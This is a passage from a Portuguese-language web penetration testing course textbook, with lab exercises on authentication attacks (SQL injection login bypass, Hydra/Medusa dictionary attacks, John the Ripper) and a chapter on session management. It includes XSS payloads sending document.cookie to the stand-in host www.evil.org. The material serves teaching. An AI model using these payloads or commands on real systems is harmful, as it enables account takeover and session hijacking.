9. No WebScarab, clique na aba Proxy e marque Intercept Requests.


Captulo 3 - Roteiro de Atividades

10. Retorne ao Firefox, digite webgoat para os campos User Name e Password e clique em Login.

11. A tela de interceptao do WebScarab aparece. Selecione a linha contendo a varivel


Password e clique em Delete. O objetivo induzir um erro na aplicao, devido falta de
um parmetro esperado.

12. Clique em Accept Changes. O que acontece?

13. No WebScarab, clique na aba Proxy e desmarque Intercept Requests.

127
14. Clique no Multiproxy Switch, na barra de estado, e selecione None.

15. Encerre o WebScarab.

Parte II Injeo de SQL

16. Acesse o Mutillidae, com o Firefox, por meio da barra de atalhos.

17. No menu do lado esquerdo, clique em Login.

18. Digite uma aspa simples () no campo Name e qualquer valor no campo Password.

19. Clique em Submit.

20. A mensagem de erro exibida indica que aplicao vulnervel injeo de SQL, tema
do Captulo 6.

21. Clique no boto Retornar do Firefox.

22. Digite or 1=1# no campo Name e qualquer valor no campo Password.

23. Clique em Submit.

24. Devido ao problema no tratamento das entradas, foi possvel se conectar como admin,
sem conhecimento de nenhum identificador de usurio.

25. Encerre o Firefox.

Autenticao com mltiplos fatores


O objetivo deste exerccio explorar uma vulnerabilidade no mecanismo de autenticao
com mltiplos fatores, para conseguir conectar-se como outro usurio, sem conhecimento
da senha e da cartela por ele utilizadas.

1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

2. Inicie o Firefox, presente no menu Aplicativos\Internet.

3. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.

4. Acesse o WebGoat, por meio da barra de atalhos.

5. Fornea guest para Usurio e Senha.

6. Clique em Start WebGoat.

7. No menu do lado esquerdo, clique em Authentication Flaws e, em seguida, em Multi


Level Login 1.

8. Digite Jane e tarzan nos campos Name e Password, respectivamente, e clique em Submit.

9. Fornea o TAN solicitado, a partir da lista apresentada na tela, e clique em Submit. TAN
Teste de Invaso de Aplicaes Web

Transaction
10. No menu do lado esquerdo, clique em Multi Level Login 2.
Authorization Number
uma senha descartvel,
11. Digite Joe e banana nos campos Name e Password, respectivamente, e clique em Submit.
utilizada como segundo
12. No WebScarab, clique na aba Proxy e marque Intercept Requests. fator de autenticao,
distribuda, normalmente
13. Retorne ao Firefox, digite o TAN solicitado, a partir da lista apresentada na tela, e clique no formato de uma
cartela contendo vrios
em Submit.
valores distintos. Cada
usurio da aplicao
14. Altere o valor do parmetro hidden_user para Jane e clique em Accept changes.
recebe um conjunto
15. Que vulnerabilidade permitiu a realizao do ataque? diferente, gerado de
maneira aleatria.

128
16. No WebScarab, clique na aba Proxy e desmarque Intercept Requests.

17. Clique no Multiproxy Switch, na barra de estado, e selecione None.

18. Encerre o WebScarab e o Firefox.

Ataque de fora bruta


Um problema existente nos mtodos de autenticao Basic e Digest do protocolo HTTP
a falta de um mecanismo de bloqueio de conta, quando mltiplas tentativas de autenti-
cao falham, de maneira consecutiva. Esse problema ser explorado neste exerccio, para
quebrar a senha muito curta de uma conta da aplicao.

1. Inicie o Brutus, presente no menu Aplicativos\Curso Ferramentas.

2. Digite exemplo.esr.rnp.br/basic no campo Target.

3. Escolha HTTP (Basic Auth) em Type.

4. Clique em Single User.

5. Digite esr no campo UserID.

6. Selecione Brute Force para Pass Mode.

7. Clique no boto Range.

8. Selecione Lowercase Alpha e clique em Ok.

9. Clique em Start.

10. Encerre o Brutus.

Ataque de dicionrio
Ataques de dicionrio so mais eficientes que os de fora bruta, pois somente senhas provveis
so testadas. Vejamos algumas ferramentas que podem ser utilizadas com esse propsito.

Parte I Hydra e Medusa

1. Abra uma janela de terminal.

2. Digite o comando:

~$ cd Arquivos\ do\ Curso/sessao-03/

3. Visualize o contedo do arquivo ids:

~$ cat ids

4. Visualize o contedo do arquivo pwds:

~$ cat pwds
Captulo 3 - Roteiro de Atividades

5. Veja as opes que podem ser utilizadas com o utilitrio Medusa:

~$ medusa

6. Para realizar um ataque de dicionrio contra o mtodo de autenticao Basic com o utili-
trio Medusa, digite o comando:

~$ medusa -h exemplo.esr.rnp.br -U ids -P pwds -e ns -M http 8

-m DIR:basic/ -v 4

129
Identifique o propsito de cada opo utilizada.

7. Veja as opes que podem ser utilizadas com o utilitrio Hydra:

~$ hydra

8. Para realizar um ataque de dicionrio contra o mtodo de autenticao Digest com o


utilitrio Hydra, digite o comando:

~$ hydra -L ids -P pwds -e ns exemplo.esr.rnp.br http-head 8

/digest/

Identifique o propsito de cada opo utilizada.

Parte II Script

9. Requisite a pgina de autenticao e identifique os elementos de entrada e o script que


realiza a validao das credenciais:

~$ curl http://form-auth.esr.rnp.br

Esse o mesmo formulrio utilizado no teste de enumerao.

10. Visualize o script de ataque de dicionrio e como os elementos identificados no passo


anterior so utilizados:

~$ cat dict

11. Execute o script de enumerao:

~$ ./dict

12. Encerre a janela de terminal.

Ataque contra senhas armazenadas


Neste exerccio, o leitor utilizar o programa John the Ripper para quebrar o arquivo de
senhas utilizado pelo Apache, no modo de autenticao Basic, e, tambm, realizar um
ataque baseado em Rainbow Tables.

Parte I John the Ripper

1. Abra uma janela de terminal.

2. Digite o comando:

~$ cd Arquivos\ do\ Curso/sessao-03/

3. Visualize o contedo do arquivo passwords:


Teste de Invaso de Aplicaes Web

~$ cat passwords

4. Veja as opes que podem ser utilizadas com o John the Ripper:

~$ john

5. Digite o comando abaixo para que o utilitrio tente efetuar a quebra do arquivo de senhas:

~$ john passwords

130
Todas as senhas foram quebradas? Qual o tempo gasto na tarefa?

6. Encerre a janela de terminal.

Parte II Rainbow Tables

7. Crie um arquivo contendo exatamente seis letras minsculas seguidas de trs nmeros:

~$ cat > in.txt

Digite o valor escolhido e pressione Ctrl + D, seguido de Ctrl + C, para gravar o arquivo.

8. Verifique se o tamanho do arquivo tem exatamente 9 bytes:

~$ ls l in.txt

9. Gere o MD5 do arquivo:

~$ openssl md5 in.txt

10. Selecione o MD5 calculado e o copie para a rea de transferncia, pressionando Ctrl + Shift + C.

11. Digite o comando abaixo para recuperar o texto original, por meio de Rainbow Tables:

$ rcracki_mt -h <MD5 copiado no Passo 10> Rainbow/*.rti

12. Encerre a janela de terminal.

Captulo 3 - Roteiro de Atividades

131
Bibliografia 3
1 DUC, Nguyen Minh e MIHN, Bui Quang. Your face is NOT your password Face
Authentication ByPassing Lenovo Asus Toshiba. Relatrio Tcnico, Bkis, 2009.

1 HAMANN, E.; HENN, Horst; SCHCK, Thomas e SELIGER, Frank. Securing e-business
applications using smart cards. IBM Systems Journal, Vol. 40, nmero 30, p. 635-647,
maro de 2001.

1 HARRIS, Shon. All in One CISSP Exam Guide. McGraw Hill Osborne, 4 edio, 2008.
1 HELLMAN, Martin. A Cryptanalytic Time-Memory Trade-Off. In: IEEE Transactions on
Information Theory, volume 26, nmero 4, pginas 401-406, julho de 1980.

1 HOWARD, Michael; LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.

1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008.


1 OECHSLIN, Philippe. Making a Faster Cryptanalytic Time-Memory Trade-Off. In: Advances
in Cryptology CRYPTO 2003 23rd Annual International Cryptology Conference, volume
2729 de Lecture Notes in Computer Science, p. 617-630, Springer, 2003.

1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009.

1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.

1 ULUDAG, Umut e JAIN, Anil K. Attacks on Biometric Systems: A Case Study in Fingerprints.
In: Proceedings of SPIE-EI 2004, Security, Steganography and Watermarking of Multimedia
Contents VI, vol. 5306, p. 622-633, San Jose, CA, janeiro de 2004.
Teste de Invaso de Aplicaes Web

132
4
Teste do gerenciamento de sesses
objetivos

Apresentar as vulnerabilidades que podem ocorrer no mecanismo de gerenciamento


de sesses, assim como as tcnicas para detect-las e explor-las.

conceitos
Identificador de sesso, atributos de cookies, sequestro de sesso, fixao de sesso,
cross site request forgery, token anti-CSRF, clickjacking.

Introduo
O protocolo HTTP no possui nenhum mecanismo nativo para manuteno de sesso, q
isso , no possvel relacionar requisies oriundas de um usurio especfico, como
parte de uma nica conversao.

Embora isso no representasse um problema nos primrdios da web, quando apenas con-
tedo esttico era disponibilizado, atualmente, para aplicaes cujo comportamento depende
da interao com o usurio, tal caracterstica atua como um fator limitante. De modo a suprir
essa lacuna, as linguagens de programao e arcabouos de desenvolvimento fornecem
mecanismos que possibilitam criar e gerenciar sesses em sistemas web.

O princpio bsico consiste na atribuio, pela aplicao web, de um identificador q


diferente a cada sesso iniciada pelos diversos usurios do sistema. Aquele valor deve,
ento, ser enviado pelo navegador web, em todas as requisies subsequentes, para que
possam ser devidamente identificadas, como parte de uma interao em andamento.
Captulo 4 - Teste do gerenciamento de sesses

H diversas abordagens que podem ser empregadas com esse propsito, as quais diferem
com relao s vantagens e desvantagens apresentadas por cada um dos esquemas:

1 Cookies.
1 Parmetros de URL.
1 Campos escondidos.

Cookies
Mtodo mais comumente utilizado e resume-se na definio do identificador de sesso,
por meio de um cabealho Set-Cookie enviado como parte da resposta inicial da aplicao.
Aps o recebimento deste, o navegador passa a enviar o cookie, automaticamente, em todas
as requisies realizadas ao domnio e caminho para os quais foi definido. Segundo Kolek

133
(2007), das opes de gerenciamento de sesses, a mais conveniente, porque utiliza um
mecanismo padro do protocolo HTTP, e a menos insegura, uma vez que no est sujeita
a todos os ataques que afetam as demais solues. Um problema inerente a esse esquema,
porm, que ele no funciona se o usurio desabilitar o suporte a cookies no navegador web.

Exemplo:

Set-Cookie: PHPSESSID=049kfgetjddk78asks71997pf0; path=/

Parmetros de URL
Consiste na adio dinmica do identificador de sesso, como um parmetro de URL,
aos diversos links contidos na aplicao. Apresenta como vantagens o fato de funcionar,
mesmo que cookies estejam desabilitados no navegador web, e de auxiliar colateralmente
na preveno de ataques CSRF, discutidos adiante, neste captulo. Por outro lado, facilita o
sequestro de sesso, uma vez que o identificador fica registrado em trilhas de auditoria e no
histrico de navegao.

Exemplo:

https://esr.rnp.br/script.do;sessionid=v4kQLNGhHKTT9YpTVJlqtMf6

Campos escondidos
Nesse caso, o identificador de sesso adicionado dinamicamente ao corpo das pginas da
aplicao, como um campo escondido de formulrio, que submetido, automaticamente,
junto com a requisio POST. O principal ponto positivo desse esquema que pode ser
utilizado, independentemente do suporte a cookies pelo navegador web. Em contrapartida,
pode apresentar os mesmos problemas que afetam o modelo baseado em parmetros de
URL, caso a aplicao tambm aceite, como resultado de codificao insegura, o mtodo
GET, em vez de POST, para envio do formulrio.

Exemplo:

<form name=form1 method=post action=comprar.php>

<input type=hidden name=sid value=v4kQLNGhHKTT9YpTVJlqt


Mf6>

<input type=submit name=Submit1 value=Comprar>

</form>

Uma pergunta que pode ser feita nesse contexto resume-se ao que acontece quando a q
aplicao recebe um identificador de sesso desconhecido (Kolek, 2007). Se uma nova
sesso criada, a partir do valor recebido, como acontece com PHP, o gerenciamento de
Teste de Invaso de Aplicaes Web

sesses chamado de permissivo. Se no, se o valor descartado e um novo identifi-


cador, gerado pelo sistema, atribudo sesso, o esquema considerado estrito, que
o tipo adotado pela grande maioria das linguagens e arcabouos modernos.

Independentemente da permissividade do esquema e do meio utilizado para o transporte


do identificador, observe que nenhuma informao adicional, alm deste, necessria, para
associar uma requisio a uma conversao especfica.

134
Desse modo, se um atacante consegue obter o identificador de uma sesso ativa, ele q
capaz de injetar requisies ilegtimas, que so tratadas como vlidas pela aplicao
web. Obviamente, o impacto resultante de um ataque desse tipo, chamado de sequestro
de sesso, maior quando o usurio j se encontra autenticado pelo sistema, pois,
nesse caso, aes mais crticas podem ser realizadas.

Vulnerabilidades que possibilitam a concretizao de tal cenrio incluem o uso de identifi-


cadores previsveis ou muito pequenos e a proteo inadequada desses valores, durante o
ciclo de vida deles.

Outra classe de ataque contra esquemas de gerenciamento de sesses, chamada de q


cross site request forgery (Meucci et al., 2008), faz com que o prprio usurio efetue uma
operao vlida na aplicao, sem o conhecimento e anuncia dele.

Nesse caso, o usurio malicioso no precisa obter um identificador de sesso para atacar
a vtima. Basta induzi-la, por meio de engenharia social, ao clicar em um link ou abrir uma
mensagem, especialmente preparados para disparar a ao desejada. Entretanto, isto deve
ocorrer somente quando o usurio estiver com uma sesso ativa no sistema, para que o
ataque funcione corretamente.

Note que qualquer um dos ataques acima to crtico quanto aqueles contra os meca-
nismos de autenticao de usurios ou de autorizao, pois permitem que operaes sejam
executadas ilegitimamente, sem o conhecimento de credenciais de acesso vlidas. Alm
disso, considerando que, muitas vezes, a preocupao com a segurana do gerenciamento
de sesses menor que a direcionada a essas outras reas, tais ataques podem apresentar
eficcia maior, tornando-os bastante interessantes para um usurio malicioso.

O objetivo deste captulo discutir os diversos problemas de segurana que podem ocorrer
em mecanismos de gerenciamento de sesses, utilizados em aplicaes web. Tendo isso em
mente, os seguintes tpicos so abordados neste texto: identificadores de sesso previs-
veis, domnio de identificadores com baixa cardinalidade, transmisso em claro de identi-
ficadores de sesso, manipulao por meio de scripts, atributos de cookies, sequestro de
sesso, fixao de sesso, encerramento vulnervel de sesso, sesses simultneas, cross
site request forgery e clickjacking.

Exerccio de fixao 1 e
Identificador de sesso
O que um atacante consegue fazer ao obter um identificador de sesso vlido de outro usurio? Captulo 4 - Teste do gerenciamento de sesses

Que mtodos podem ser usados para o transporte de identificadores de sesso?

135
Exerccio de nivelamento 1 e
Gerenciamento de sesses
No que consiste o gerenciamento de sesses em aplicaes web?

Descoberta de vulnerabilidades e explorao


Boa parte das vulnerabilidades descritas nesta parte do captulo tem por objetivo a q
obteno de um identificador de sesso vlido, que possa ser utilizado em um ataque de
sequestro de sesso.

Entre os principais defeitos, em uma aplicao web, que contribuem para o sucesso desse
tipo de explorao, possvel citar:

1 Identificadores de sesso previsveis.


1 Domnio de identificadores com baixa cardinalidade.
1 Transporte inseguro de identificador.
1 Encerramento de sesso mal implementado.
Alm desses problemas de segurana, tambm so contemplados nesta seo os q
ataques cross site request forgery, fixao de sesso e clickjacking.

Identificadores de sesso previsveis


Atualmente, os mecanismos fornecidos pelos arcabouos de desenvolvimento web, para q
gerar identificadores de sesso, realizam um bom trabalho em relao aleatoriedade
de tais valores. Os problemas surgem, ento, quando as aplicaes empregam solues
caseiras, para esse propsito, as quais, normalmente, no se preocupam com aspectos
relevantes de segurana. Consequentemente, nesses casos, no raro que um ata-
cante consiga reconstruir a sequncia inteira de identificadores, a partir da coleta de
apenas alguns exemplares.

Um erro muito comum nesse sentido consiste em compor os identificadores de sesso,


aps a autenticao, com base em informaes do usurio que podem ser obtidas com
facilidade em diversas fontes internas ou externas (Stuttard e Pinto, 2007).

Exemplos de dados encontrados com frequncia em sistemas reais incluem:

1 Identificador de usurio.
1 Endereo de correio eletrnico.
Teste de Invaso de Aplicaes Web

1 Nome prprio do usurio.


1 Endereo de rede da mquina cliente.
Para ilustrar a fraqueza, considere que uma aplicao atribua ao usurio Fulano de Andrade
um identificador SID=2011-05-27.Fulano.Andrade. Com uma breve anlise, fcil deduzir
que a regra de formao adotada consiste na concatenao da data de acesso com o nome e
o sobrenome da pessoa autenticada. Supondo que o nome de um administrador do sistema
seja Beltrano Sousa, pode-se construir o identificador SID=2011-05-27.Beltrano.Sousa e
utiliz-lo, para acessar o sistema com a conta privilegiada. Note que o processo pode ser repe-
tido para qualquer conta do ambiente, bastando para isso saber o nome completo da vtima.

136
Mesmo quando esse tipo de informao no empregado na composio dos identifi- q
cadores de sesso, qualquer tipo de padro perceptvel suficiente para o comprometi-
mento do sistema.

Um exemplo extremo, mas encontrado s vezes em ambientes reais, consiste no uso de


Funo afim nmeros consecutivos ou definidos por uma funo afim especfica. Nesses casos, qual-
Funo matemtica da quer tipo de anlise que seja realizada capaz de detectar o padro empregado.
forma f(x1, ..., xn) = a1x1
+ ... + anxn + b, cujos Eventualmente, os nmeros passam por algum tipo de codificao, antes de serem transfor-
coeficientes podem ser mados em identificadores de sesso.
valores escalares
ou matrizes. Por exemplo, considere a sequncia:

MDAwMDAwNDMzOTc0MDM5

MDAwMDAwNDMzOTc0Mjky

MDAwMDAwNDMzOTc0NTQ1

MDAwMDAwNDMzOTc0Nzk4

MDAwMDAwNDMzOTc1MDUx

MDAwMDAwNDMzOTc1MzA0

MDAwMDAwNDMzOTc1NTU3

Em primeiro lugar, fica evidente que somente a parte final dos valores varia, indicando
que no so gerados aleatoriamente. A segunda pista dada pelo conjunto de caracteres
utilizados e pelo comprimento mltiplo de quatro, os quais so fortes evidncias de que os
identificadores podem ter sido codificados em BASE64. Realizando a decodificao, obtm-se
a lista abaixo:

000000433974039

000000433974292

000000433974545

000000433974798

000000433975051

000000433975304
Captulo 4 - Teste do gerenciamento de sesses
000000433975557

Percebe-se facilmente que cada nmero corresponde ao anterior acrescido do valor 253.
Assim, a partir do identificador atribudo a um usurio, possvel determinar sesses esta-
belecidas anteriormente e as de pessoas que ainda se conectaro na aplicao.

Observe, agora, os seguintes identificadores:

9573af19f96b5af3e658a10880b595e66323dd588b05ea74546cc03c681d7a5a

f8fc8bde8ffed754c6c205e67b5bb93349ec807f7351a4e9431bae0acf6ed5ed

04ea850199defe4ac056068c983399d08fcc29c229aa5712a42e78d7c6dbabe1

38182f5ebc07991910dd0123468161ba3e266a598eaff8aaa233222d1dd70ed1

137
0cc9b140314056f66d300e06f62bca68861ab147b576780b7fe2224d9628dc1e

07e6d6b341dc1fefd5044f96ab637e69dc9ff226719bb9027791cb70b6ee5e69

d31a613c1cfb79276f4576a3735599aa72f331570a3236b435c4677cbb60fceb

Aparentemente, todos os valores que esto em hexadecimal parecem gerados aleatoria-


mente, uma vez que no h um padro evidente, que possa ser detectado. Considere-se,
porm, que o cdigo responsvel pela gerao de um identificador de sesso seja o seguinte:

sid = convertToHex(sha256(sid));

Isso muda completamente o cenrio, pois cada valor gerado com base no anterior, por meio
da aplicao da funo de hash criptogrfica SHA-256. Desse modo, embora no seja pos- SHA-256
svel obter os identificadores anteriores ao atribudo a um dado usurio, em decorrncia da Funo de hash
criptogrfica,
propriedade de resistncia da pr-imagem, muito fcil calcular os valores futuros. Pode-se
desenvolvida pela NSA,
argumentar que esse ataque no relevante, porque necessita que o adversrio tenha que faz parte da famlia
acesso ao cdigo fonte da aplicao, para que se obtenha sucesso. Porm, do ponto de vista SHA-2 e mapeia cadeias
binrias de tamanho
de segurana, isso no aceitvel, uma vez que configura proteo por obscuridade.

q
arbitrrio para valores
de 256 bits.
Como muitas vezes no fcil realizar a anlise manual da aleatoriedade dos identifica-
dores de sesso, recomenda-se fortemente a utilizao de programas automatizados,
FIPS 140-2
que executem testes estatsticos sobre a amostragem coletada (Barrall, 2005). Entre as
Padro que determina
ferramentas dessa natureza, duas muito interessantes so:
os requisitos de
1 WebScarab segurana que devem
ser atendidos por
1 Stompy mdulos criptogrficos
utilizados em solues
WebScarab de proteo de
informaes sensveis.
Essa sute integrada de testes possui a funcionalidade SessionID Analysis, que coleta a
quantidade especificada de identificadores e os transforma em nmeros, para que sejam PRNG
plotados em um grfico em funo do tempo. Caso exista uma relao entre os valores Algoritmo determinstico
analisados, espera-se que ela seja evidenciada graficamente, de modo a ser percebido pelo que, a partir de uma
sequncia de bits
analista de segurana. A Figura 4.1 e a Figura 4.2 ilustram, respectivamente, identificadores
verdadeiramente
de sesso de um sistema robusto e de outro vulnervel. aleatria de
comprimento k, gera
Stompy uma sequncia de bits
muito maior que k, a qual
Software livre criado por Michal Zalewski, que pode ser utilizado para avaliar a qualidade satisfaz os requisitos de
de identificadores de sesso e de outros elementos que requeiram unicidade, por meio aleatoriedade verificados
por testes estatsticos,
de diversos testes estatsticos, inclusive os especificados pelo padro desenvolvido pelo
criados especialmente
governo americano, Federal Information Processing Standards 140-2(FIPS 140-2), usado na para validao de tal
anlise de Pseudorandom Number Generator (PRNG). Esse utilitrio escrito em linguagem propriedade.
C e para ser compilado requer as bibliotecas The GNU Multiple Precision Arithmetic Library
Teste de Invaso de Aplicaes Web

(GNU MP) e OpenSSL. A Figura 4.3 e a Figura 4.4 apresentam, respectivamente, os resul- GNU MP
tados da execuo do Stompy contra os mecanismos da Figura 4.1 e Figura 4.2. Tambm conhecida
por GMP, uma
biblioteca livre voltada
para aritmtica de
preciso arbitrria
sobre nmeros inteiros,
racionais e de ponto
flutuante.

138
Figura 4.1
Grfico de identifi-
cadores de sesso
gerados por meca-
nismo robusto.

Figura 4.2
Grfico de identifi-
cadores de sesso
completamente
previsveis.

~$ stompy http://dvwa.esr.rnp.br

Session Stomper 0.04 by <lcamtuf@coredump.cx>

--------------------------------------------- Captulo 4 - Teste do gerenciamento de sesses

Start time : 2011/07/28 22:51

Target host : dvwa.esr.rnp.br:80 [192.168.213.200]

Target URI : /

=> Target acquired, ready to issue test requests.


Figura 4.3
Anlise de um me- ...
canismo robusto de
gerao de identifi- [*] Running 6D spectral test (2 bit window)... PASSED
cadores de sesso
realizada pelo [*] Running spatial correlation checks... PASSED
utilitrio Stompy.

139
RESULTS SUMMARY:

Alphabet-level : 0 anomalous bits, 128 OK (excellent).

Bit-level : 0 anomalous bits, 128 OK (excellent).

ANOMALY MAP:

Alphabet-level : ..........................

Bit-level : ............................................... (...)

~$ stompy -p /tmp/wacko.req http://wackopicko.esr.rnp.br

Session Stomper 0.04 by <lcamtuf@coredump.cx>

---------------------------------------------

Start time : 2011/07/28 22:57

Target host : wackopicko.esr.rnp.br:80 [192.168.213.200]

Target URI : /admin/index.php?page=login [custom request]

=> Target acquired, ready to issue test requests.

...

[*] Running spatial correlation checks... FAILED

...

WARNING: Entropy loss estimate: 0.15 bits (13.85 OK - very


trivial!)

RESULTS SUMMARY:

Alphabet-level : 14 anomalous bits, 0 OK (deterministic?).

Bit-level : 14 anomalous bits, 0 OK (deterministic?).

Figura 4.4
Anlise de um
ANOMALY MAP: mecanismo vulne-
Teste de Invaso de Aplicaes Web

rvel de gerao
Alphabet-level : !!!!! de identificadores
de sesso realiza-
Bit-level : !!!!!!!!!!!!!! da pelo utilitrio
Stompy.

Domnio de identificadores com baixa cardinalidade


No processo de gerao de identificadores de sesso, no suficiente preocupar-se q
apenas com a aleatoriedade, para evitar que sejam previstos por um usurio malicioso.
Se o domnio, a partir do qual os valores so selecionados, contiver poucos elementos,
um ataque simples baseado em tentativa e erro pode ser executado.

140
Por exemplo, se nmeros de 16 bits so empregados, a cardinalidade do conjunto igual
a 65536, e a chance de adivinhar um identificador vlido tende a 100%, medida que o
nmero de sesses ativas se aproxima daquele valor.

Com base nesse cenrio, a Figura 4.5 ilustra a anlise realizada pelo Stompy sobre uma sequ-
ncia de nmeros de 16 bits. Note que a entropia mxima estimada para os valores de 17,01
bits, a qual rotulada como muito trivial pela ferramenta. Em outras palavras, isso significa
que ataques baseados em adivinhao podem ser executados sem esforo significativo.

~$ stompy -R /mnt/hgfs/CursoRNPDisk/valores2.txt

Session Stomper 0.04 by <lcamtuf@coredump.cx>

---------------------------------------------

Start time : 2011/07/29 00:24

Replay file : /mnt/hgfs/CursoRNPDisk/valores2.txt [raw] (1 fields)

=> Target acquired, ready to issue test requests.

...

[+] Alphabet structure summary:

A[011]=00004 A[009]=00001

WARNING: Theoretical maximum entropy: 17.01 bits (very trivial!)

...

WARNING: Entropy loss estimate: 0.48 bits (16.52 OK - very


trivial!)

RESULTS SUMMARY:

Alphabet-level : 17 anomalous bits, 0 OK (deterministic?).

Bit-level : 5 anomalous bits, 12 OK (very trivial!).


Captulo 4 - Teste do gerenciamento de sesses

ANOMALY MAP:
Figura 4.5
Anlise de Alphabet-level : !!!!!
uma sequncia de
nmeros de 16 bits. Bit-level : !!!!!............

Transmisso em claro de identificadores de sesso


A grande ameaa em transmitir identificadores de sesso em claro pela rede a mesma q
que afeta mecanismos de autenticao, permitindo que esses valores sejam capturados
em qualquer ponto entre a origem e o destino da comunicao.

141
A Figura 4.6 ilustra uma requisio GET, contendo um cabealho Cookie, a qual foi obtida
com a ferramenta Wireshark por meio da escuta da rede. Isso indica claramente que tais
tipos de informao no podem ser enviados por HTTP simples, principalmente, se forem
referentes a sesses de usurios autenticados. Alm disso, importante mencionar que,
para um atacante estrategicamente posicionado, a execuo do ataque no apresenta
nenhuma dificuldade.

Uma vulnerabilidade que ocorre com frequncia em sistemas de produo consiste no q


uso de um nico identificador de sesso, por usurio, para as mensagens trocadas antes
e depois da autenticao.

Como essas ltimas, incluindo as credenciais de acesso, trafegam por canais seguros,
acredita-se, erroneamente, que no h impacto segurana do esquema. Entretanto, basta
que um atacante capture o identificador em um momento anterior ao estabelecimento do
tnel HTTPS, para que seja possvel se apoderar da comunicao ulteriormente.

Desse modo, fica claro, a partir desse cenrio, que um novo identificador de sesso deve q
ser atribudo ao usurio, sempre que houver mudana no nvel de privilgios do acesso.

Observe que, em alguns casos, isso no envolve necessariamente o processo de autenti-


cao. Por exemplo, considere os sites de companhias areas, as quais no requerem que os
clientes possuam uma conta cadastrada, para realizar a compra de passagens. Mesmo que
credenciais no sejam solicitadas pela aplicao, informaes sensveis, como as de carto
de crdito, so enviadas, durante a etapa de pagamento, a qual estabelece uma fronteira
clara entre diferentes nveis de proteo exigida.

O teste que deve ser realizado para verificar a existncia dessa fraqueza simples e resume-se
aos seguintes passos:

1 Navegao nas diversas reas pblicas da aplicao, verificando, com auxlio de um proxy
de interceptao ou outra ferramenta, o(s) identificador(es) de sesso atribudo(s).

1 Mudana do nvel de acesso, por meio da autenticao do usurio ou uso de opes que
manipulem informaes sensveis.

1 Comparao do(s) identificador(es) de sesso corrente(s) com o(s) obtido(s) no primeiro


passo. Se nenhuma alterao for identificada, a aplicao vulnervel, permitindo que a
interao do usurio com a aplicao seja comprometida.
Teste de Invaso de Aplicaes Web

Figura 4.6
Manipulao de identificador de sesso por meio de scripts Identificador de

q
sesso capturado
Toda e qualquer pgina HTML carregada em um navegador web torna-se um objeto pela rede.

document, o qual mapeia todos os elementos que a compem e acessvel por meio
de scripts. Dentre as diversas propriedades desse objeto, est a de nome cookie, que
permite ler e escrever os identificadores de sesso baseados nesse mecanismo.

142
Por exemplo, caso seja possvel injetar Javascript em uma aplicao, como acontece em
ataques cross-site scripting (Captulo 5), pode-se exibir o cookie por meio do cdigo:

<script>alert(document.cookie)</script>

Obviamente, isso serve apenas como prova de conceito, pois exibir o cookie para o usurio
no representa nenhuma vantagem para o atacante.

DHTML Porm, empregando Dynamic HTML (DHTML), possvel incluir elementos na pgina, de q
Consiste na criao maneira dinmica, que podem ser utilizados para enviar o identificador a um domnio
dinmica de pginas controlado pelo usurio malicioso.
interativas, por meio de
tecnologias como HTML, O cdigo abaixo realiza essa tarefa, por meio da insero de uma imagem, cujo atributo
DOM, Javascript e CSS. origem o domnio www.evil.org. Note que o cookie anexado como parte da URL do
recurso, durante a construo do elemento.

<script>document.write(<img src=http://www.evil.org/?SID=+

document.cookie+/>);</script>

Quando o navegador executa o script e o objeto img criado, uma requisio realizada ao
servidor do usurio malicioso, gerando a seguinte entrada no arquivo de trilha de auditoria:

192.168.213.10 - - [30/Jul/2011:19:05:29 -0300] GET /?SID=

PHPSESSID=bijq7d2dnh2f55p8dn19d3moi3;%20security=low HTTP/1.1 200


175

A partir desse registro trivial recuperar o identificador e executar um ataque de sequestro


de sesso contra a vtima especfica.

importante ressaltar que os scripts no esto limitados a acessar apenas os cookies defi- q
nidos pelas aplicaes, sendo possvel, tambm, manipular outros elementos na pgina.

Considere, por exemplo, um sistema que utiliza campos escondidos para transporte dos
identificadores de sesso. Com uma pequena alterao no vetor de injeo acima, fcil
obter o mesmo resultado, empregando os objetos e propriedades definidos pelo Data
DOM Object Model (DOM), conforme ilustrado a seguir:
Representa um
documento HTML <script>document.write(<img src=http://www.evil.org/?SID=+
como uma estrutura
baseada em rvore, que document.forms[guestform].elements[token].value+/>);</script>
pode ser acessada de
maneira padronizada, Similarmente ao caso anterior, a criao dinmica do objeto dispara uma requisio ao site Captulo 4 - Teste do gerenciamento de sesses
seguindo-se a sintaxe www.evil.org, que resulta na insero de um registro de trilha de auditoria contendo o iden-
da linguagem de
tificador de sesso desejado:
programao utilizada.
192.168.213.10 - - [30/Jul/2011:20:43:47 -0300] GET
/?SID=shjykghy9723 HTTP/1.1 200 175

Para que os exemplos dados nesta seo funcionem corretamente, fundamental res- q
peitar a poltica de mesma origem, que impede que um script definido em uma pgina
acesse os objetos de um documento carregado a partir de outra origem. Segundo essa
diretriz, dois recursos so considerados de mesma origem somente quando as respec-
tivas URLs possuem protocolo, porta e domnio idnticos.

Desse modo, um script obtido de http://www.evil.org no capaz de acessar o cookie defi-


nido por domnios como http://www.esr.rnp.br e nem https://www.bank.com.br.

143
Surpreendentemente, a poltica no se aplica a scripts externos carregados por meio do q
atributo src do marcador script, desde que presente no mesmo documento.

Por exemplo, os objetos de uma pgina oriunda de http://www.esr.rnp.br so acessveis a


um script evil.js, de outra origem, se aquela o carrega, empregando um elemento <script
src=http://www.evil.org/evil.js>.

Atributos de cookies
A proteo de cookies pode ser complementada por meio da definio de alguns atributos,
que orientam como aqueles devem ser tratados pelos navegadores web (Palmer, 2008). O
emprego equivocado dessas opes, entretanto, pode favorecer o comprometimento de
identificadores de sesso e outros dados transportados por esse meio.

Assim, a utilizao criteriosa dos seguintes atributos importante para a segurana do q


mecanismo de gerenciamento de sesses:

1 Domain (cadeia de caracteres).


1 Path (cadeia de caracteres).
1 Secure (booleano).
1 HttpOnly (booleano).

Domain
O atributo domain estipula para quais domnios o navegador web deve enviar o cookie, q
como parte da requisio.

Por exemplo, considere que uma resposta do servidor inclua o cabealho abaixo ilustrado:

Set-Cookie: ESRSIDDO=abdefg12345; domain=cookies.esr.rnp.br

